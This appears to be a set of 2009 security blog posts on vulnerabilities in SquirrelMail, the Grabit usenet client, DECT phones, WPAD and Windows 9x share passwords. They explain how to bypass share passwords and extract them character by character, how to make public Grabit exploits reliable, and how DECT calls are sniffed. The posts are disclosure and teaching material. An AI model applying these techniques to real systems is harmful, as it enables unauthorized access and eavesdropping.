The last bug occurs only in very specific configurations. If you have more than one imap server, there is a way to configure that in SquirrelMail. If you configure this and use the example map_yp_alias function for this, unauthenticated attackers could execute shell commands on your server. If you built your own function for this, you should probably check if it handles input correctly. It is unlikely that you're running this kind of configuration, but there are probably a couple of installations out there using this.

Grabit exploits are available (but not working)

noreply@blogger.com (Niels Teusink) — Thu, 07 May 2009 20:23:00 +0000

I have seen two exploits so far for the NZB overflow, both on milw0rm (here and here). I took a look at the code and they do not look very reliable, in fact both of them suffer from the same problem I initially had when exploiting the bug.

The exploits on milw0rm are tuned for very specific environments, this is caused by the fact that Grabit prepends the current directory to the string copied in the buffer. The authors created the NZB exploits in a specific directory and the exploits will not work if they place it in another one with a different path length (this is why the second exploit has two 'targets').

When I was creating an exploit, this seemed like a serious problem for exploit reliability to me. But when tracing through the code, you will notice that the directory is not always prepended. If the DTD reference is to an absolute path (instead of a relative one), it will not prepend the directory and exploitation is a lot more reliable. After I fixed this in the two exploits, they work just fine on my system.

Grabit <= 1.7.2 beta 3 NZB file parsing stack overflow

noreply@blogger.com (Niels Teusink) — Sun, 03 May 2009 21:21:00 +0000

I can’t usually find the time for vulnerability research, but a while ago I found a bug in Grabit, a popular usenet client with NZB support. I posted the following message to Bugtraq and Full Disclosure today:

Grabit <= 1.7.2 beta 3 NZB file parsing stack overflow

Impact: Remote code execution
Version: <= 1.7.2 beta 3

Description
Grabit is a popular Windows usenet client designed for downloading binary files. It has support for NZB files, which a user would usually acquire from an external source. Version 1.7.2 beta 3 is vulnerable to a stack overflow when parsing DTD references in NZB files. Earlier versions are vulnerable as well. Reliable exploitation is pretty straightforward.

Fix
I reported this to the author a while ago. He has now released version 1.7.2 beta 4, which fixes the bug. It can be downloaded at http://www.shemes.com/

Tonight on Dutch television, NOVA: Het afluisteren van DECT-telefoons

noreply@blogger.com (Niels Teusink) — Wed, 08 Apr 2009 19:33:00 +0000

In other words, some Dutch media attention on DECT eavesdropping. There has been very little coverage of DECT security issues in the Dutch media, so I’m hoping this broadcast will change that.

DECT sniffing has become easier since my last post. COM-ON-AIR prices seem to be going down again on eBay and people are selling pre-made boot CD’s for DECT sniffing. So no Linux installation necessary anymore, someone can simply buy a COM-ON-AIR card and a CD, pop both of them in a laptop and start sniffing. Needless to say, eavesdropping on your neighbours conversations is illegal, so only use this if you have permission.

I purchased a couple of cards for Fox-IT shortly after the issue became public. As a part of penetration tests, I have already tested DECT security at some of our customers. The results are pretty much as you would expect.

Update: Some shocking details from the broadcast: phone conversations of the Dutch IRS (Belastingdienst), the police, a hospital and a Dutch government minister all can be easily intercepted. First viewer reactions on the NOVA site are of course 'Where can I get one of those eavesdropping things, it sounds like fun'.

Update2: It looks like the media coverage has arrived!

Microsoft just released a patch for some WPAD vulnerabilities

noreply@blogger.com (Niels Teusink) — Tue, 10 Mar 2009 20:56:00 +0000

Microsoft has just release three security bulletins, among them is MS09-008. This bulletin describes two DNS spoofing vulnerabilities, apparently caused by lack of caching of certain queries. The bulletin also fixes two WPAD related vulnerabilities: "DNS Server Vulnerability in WPAD Registration" and "WPAD WINS Server Registration Vulnerability". Both vulnerabilities have been known for a long time, they are caused by the fact that a lot of organizations do not have WPAD servers. An attacker could register himself as the WPAD server at a WINS server or a DNS server (if dynamic updates are enabled) and start replying to WPAD requests. According to Microsoft the vulnerabilities are fixed by "modifying the way that Windows WINS servers responds to WPAD and ISATAP name resolution requests" and "modifying the way that Windows DNS servers respond to WPAD name resolution requests". I wonder what that means...

Classic Bug: Windows 95/98/ME share password bypass (part 2)

noreply@blogger.com (Niels Teusink) — Sun, 15 Feb 2009 20:25:00 +0000

In part 1 of this article I described how MS00-072 could be used to bypass authentication on a Windows 95/98/ME share. In this part, I will describe how this can be used to extract the password.

I described how a zero length password could bypass the authentication, but what if we want to know the actual password? This could be handy as the password may be used on other systems or if we want to use non-modified software to access the share after extracting the password.

To accomplish this we simply try to guess the password one character at the time. Let me explain: instead of using a zero length password, we use the following:

[password length=1][password=A]

Notice we do not NULL terminate our password, and do not add one to the password length. Lets revisit our verifyPassword function:

bool verifyPassword(int givenLength, char * givenPassword, char * realPassword){
 for(int i=0; i<length; i++){
  if (givenPassword[i] != realPassword[i]){
   return false;
  }
 }
 return true;
}

When we supply a password with a length of one, the function will compare our one character password ('A') with the first character of the actual password. If they match, authentication is successful, if they do not, authentication fails. We can use this to determine the first character of the actual password. If authentication fails, we simply try the password 'B' and so on.
When we have found the first character (say it’s 'P'), we add another character to the password and try ‘PA’ with a length of 2. When we found the second character we add a third one and so on. If we want to know if we have the full password we simply add a NULL byte instead of a character and if authentication succeeds, we have the complete password.

This process is automated by the tool pqWak, which can be found here.

So is this bug still relevant? Well I think so, as it certainly isn’t the only one of its kind. In 2004 a very similar bug was found in MySQL (advisory), you could access a MySQL server without actually knowing the password.

Classic Bug: Windows 95/98/ME share password bypass (part 1)

noreply@blogger.com (Niels Teusink) — Sun, 15 Feb 2009 20:22:00 +0000

Another oldie, this time MS00-072: bypassing Windows 95/98/ME share level passwords. In Windows ME and earlier, you could share a folder and put a password on it, so only people in possession of the password could access your shared files over the network.

This vulnerability is interesting because this authentication could by bypassed completely. Furthermore, you could use it to recover the actual password. The function to verify the password probably looked something like this pseudo code:

bool verifyPassword(int givenLength, char * givenPassword, char * realPassword){
 for(int i=0; i<length; i++){
  if (givenPassword[i] != realPassword[i]){
   return false;
  }
 }
 return true;
}

The code does not look so bad at first glance. It takes three parameters, the supplied password and its length and the actual share password. Both passwords are NULL-terminated. The password length includes the NULL byte, so the password ‘12345’ would have a length of 6. It then starts to compare the two byte-by-byte. If any of bytes in the two passwords differ, the verification fails and access is denied.

As I mentioned in the above paragraph, the supplied length of the password includes the NULL byte, so even an empty password would have a length of 1 (the NULL byte itself). This is where the problem lies. The relevant part of a legitimate authentication packet would look like this (password could be empty):

[password length+1][password][NULL byte]

So for an empty password, password length = 1 and the above function would simply compare 1 byte (the NULL byte). If the actual password is also empty (e.g. consists of only a NULL byte), access is granted.

Now you might wonder what happens if the password length is set to 0 (this should never happen, as there is always a NULL byte). What happens is we bypass authentication. Looking at the above function, if givenLength is equal to 0, we never enter the for loop. Thus, we never compare any characters and authentication is always successful.

In part 2 I will describe how an exploit called pqWak uses this bug to determine the password remotely.

Some DECT updates

noreply@blogger.com (Niels Teusink) — Sun, 15 Feb 2009 20:10:00 +0000

The dedected team has gotten the Type III cards to work! I tested one of mine today (an Ascom Voo:doo) and it seems to be working properly. Meanwhile the prices on Type II cards are still pretty high.

In a previous post I mentioned a patch which allows capturing directly to .wav files, so conversion is no longer necessary. A newer version of this patch was posted about a month ago. This version also allows live voice playing. I tested the patch last weekend but on my laptop the live voice playing feature ‘stutters’ a bit (could be because I also applied the patch from r44). The capturing directly to .wav files works great though. I haven’t posted a sample with good audio quality so far, so here is one to get an idea of the sound quality (some random English voice menu). There are some manual decoding hints on the mailing lists, I’ll have to look up which method the patch uses.

Siemens Germany has posted a list of Gigaset phones which use encryption here (I could not find it on the Dutch or English versions of gigaset.com). The Gigaset 4010 phone I was able to eavesdrop on is simply not on the list.